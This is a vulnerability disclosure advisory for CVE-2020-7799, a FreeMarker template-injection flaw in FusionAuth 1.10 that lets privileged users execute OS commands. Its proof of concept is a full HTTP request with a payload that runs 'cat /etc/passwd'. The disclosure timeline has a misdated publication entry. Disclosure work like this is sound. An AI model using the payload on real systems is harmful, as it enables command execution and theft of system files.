Share Security Advisory #2020-03 (last updated on 2020-01-27)  
Title: FusionAuth command execution via Apache Freemarker Template  
Application: FusionAuth 1.10 and lower  
Platforms: Tested on Windows 10 and Ubuntu 19.10  
Description: An authenticated attacker with enough privileges to access the  
template editing functions (either site templates or e-mail  
templates) in the FusionAuth dashboard can execute commands on  
the underlying operating system using the Apache FreeMarker  
Expression language.   
Author: Gianluca Baldi <>  
Vendor Status: - notified on 2019-10-24  
CVE Name: CVE-2020-7799  
1. Abstract.  
FusionAuth is a modern Access Management open source application, that can be  
integrated with multiple technologies and platforms. FusionAuth can be  
configured and customized in many ways from the administration dashboard and to  
do so privileged acounts can modify templates.  
FusionAuth Templates are in fact Apache Freemarker Templates, that are  
interpreted by the Apache Freemarker Templates Engine. Since it is possible to  
execute system commands using the Apache Freemarker Expression language,  
template editing features can be abused to execute remote commands effectively,  
using the "freemarker.template.utility.Execute" object.  
2. Affected Platforms.  
This vulnerability is platform-independent.  
3. Fix.  
This vulnerability has been fixed in version 1.11 of FusionAuth.  
4. Proof of Concept.  
Example POST request (Home -> Settings -> Email Templates -> Preview):  
POST /ajax/email/template/preview HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0  
Accept: */*  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 796  
DNT: 1  
Connection: close  
Cookie: JSESSIONID=FA9DB3CBABA6B37E5336AE4B96001807;   
primeCSRFToken=kRC228UjAA4ohN_E9PW9kz0HpTlxUDCB_HVrDhBUfWU&emailTemplateId=2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b&${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}}  
5. Disclosure Timeline  
2019-10-23 - First contact (issue in FusionAuth 1.9.1).  
2019-10-24 - First PoC sent to the vendor.  
2019-10-25 - Vendor investigates the issue.  
2019-10-28 - Issue is confirmed and a disclosure date is agreed upon (2020-01-23).  
2019-10-29 - Vendor silently releases a fixed version (FusionAauth 1.11.0).  
2020-01-20 - Asked for updates on issue.  
2020-01-20 - Vendor states that the issue has been fixed already.  
2020-01-22 - Assigned CVE-2020-7799.  
2019-02-27 - Advisory published.  
Copyright (c) 2020 Gianluca Baldi and All rights reserved.